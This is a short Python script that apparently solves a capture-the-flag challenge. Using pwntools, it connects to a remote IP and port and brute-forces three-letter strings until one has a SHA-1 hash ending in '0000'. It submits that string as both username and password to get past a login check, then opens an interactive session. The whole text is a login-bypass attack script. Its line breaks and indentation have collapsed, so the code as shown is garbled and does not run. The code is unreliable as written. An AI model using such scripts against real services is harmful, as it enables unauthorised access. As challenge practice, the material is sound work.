```#!/usr/bin/env python3
from pwn import *import hashlibimport string
r = remote("52.59.124.14",10100)flag = 1values = list(string.ascii_letters)for i in values:    if(flag == 0):        break    for j in values:        if(flag == 0):            break        for k in values:            user_pass = i.encode() + j.encode() + k.encode()            hash_pass = hashlib.sha1(user_pass).hexdigest()            if(hash_pass[-4:] == "0000"):                flag = 0                breakr.sendlineafter(b"Username:",user_pass)r.sendlineafter(b"Password:",user_pass)r.interactive()```